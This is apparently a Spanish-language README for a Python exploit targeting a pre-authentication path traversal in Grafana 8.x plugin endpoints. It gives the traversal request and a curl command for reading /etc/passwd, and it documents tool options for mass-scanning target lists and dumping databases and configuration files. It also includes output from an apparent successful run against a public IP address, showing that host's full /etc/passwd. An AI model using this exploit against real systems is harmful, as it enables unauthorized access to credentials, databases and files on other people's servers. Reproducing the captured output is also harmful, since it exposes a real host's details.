
Código Exploit en Python
Grafana 8.x Path Traversal (Pre-Auth) Todo el crédito es para j0v y su tweet https://twitter.com/j0v0x0/status/1466845212626542607
Esto es solo con fines educativos. No soy responsable de tus acciones. Úsalo bajo tu propio criterio. De buena fe, he retenido la publicación de este PoC hasta que esta vulnerabilidad sea pública o haya un parche disponible.
Me percaté de un tweet de j0v en el que afirmaba haber encontrado un bug de path traversal en Grafana. Por curiosidad, empecé a revisar el código fuente de Grafana. En el tweet se mencionaba que era un bug de pre-autenticación. Solo hay un par de endpoints públicos de API en Grafana, y solo uno de ellos tomaba una ruta de archivo del usuario.
Grafana tiene un endpoint público de API, /public/plugins/:pluginId, que permite ver los recursos de un plugin. Esto funciona proporcionando un :pluginId válido y luego especificando la ruta del archivo, como img/logo.png. Sin embargo, Grafana no sanitiza la ruta de archivo proporcionada por el usuario, lo que provoca un path traversal.
El directorio al que se accede está en <grafana>/public/app/plugins/panel/<pluginId>. En una instalación estándar de Grafana, el directorio de datos de Grafana es /usr/share/grafana. Por lo tanto, retrocediendo 8 directorios, puedes llegar al directorio raíz del sistema de archivos.
Petición HTTP:
GET - http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
Código problemático: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284
Nota: Esto no funciona en el navegador (que colapsa automáticamente el ../ en la ruta)
Se puede probar con curl usando el argumento --path-as-is:
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
usage: exploit2.py [-h] [-l INPUT_LIST] [-db] [-cfg] [-c] [-t TARGET] [-f TARGET_FILE] [-w WRITE_FILE] [-v]
optional arguments:
-h, --help show this help message and exit
-l INPUT_LIST, --list INPUT_LIST
Input list of ip:port
-db, --database Dump db
-cfg, --config Dump config
-c, --check Enable output regex checking (Suppress false positives)
-t TARGET, --target TARGET
Single target
-f TARGET_FILE, --file TARGET_FILE
Remote target file
-w WRITE_FILE, --write WRITE_FILE
Directory to write files to.
-v, --verbosity Verbosity
./exploit.py -f /etc/passwd -l targets.list
./exploit.py -f /etc/passwd -l targets.list -db
Volcar Config:
./exploit.py -f /etc/passwd -l targets.list -cfg
Solo imprimir archivos válidos:
python3 exploit2.py -t http://50.17.123.83:3000 -c
URL: passwd
PATH: /public/plugins/alertlist/../../../../../../../..//etc/passwd
http://50.17.123.83:3000/public/plugins/alertlist/../../../../../../../..//etc/passwd
Status: 200
Content-type:text/plain; charset=utf-8
SUCCESS: http://50.17.123.83:3000
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
node-exp:x:997:100::/:/usr/sbin/nologin
prometheus:x:996:997::/var/lib/prometheus:/usr/sbin/nologin
alertmanager:x:995:996::/home/alertmanager:/usr/sbin/nologin
grafana:x:113:119::/usr/share/grafana:/bin/false
am-bot:x:994:995::/opt/alertmanager_bot:/usr/sbin/nologin
blackbox-exp:x:993:994::/home/blackbox-exp:/usr/sbin/nologin
pushgateway:x:992:100::/:/usr/sbin/nologin
Escribir el archivo en el directorio files:
python3 exploit2.py -t http://50.17.123.83:3000 -c -w files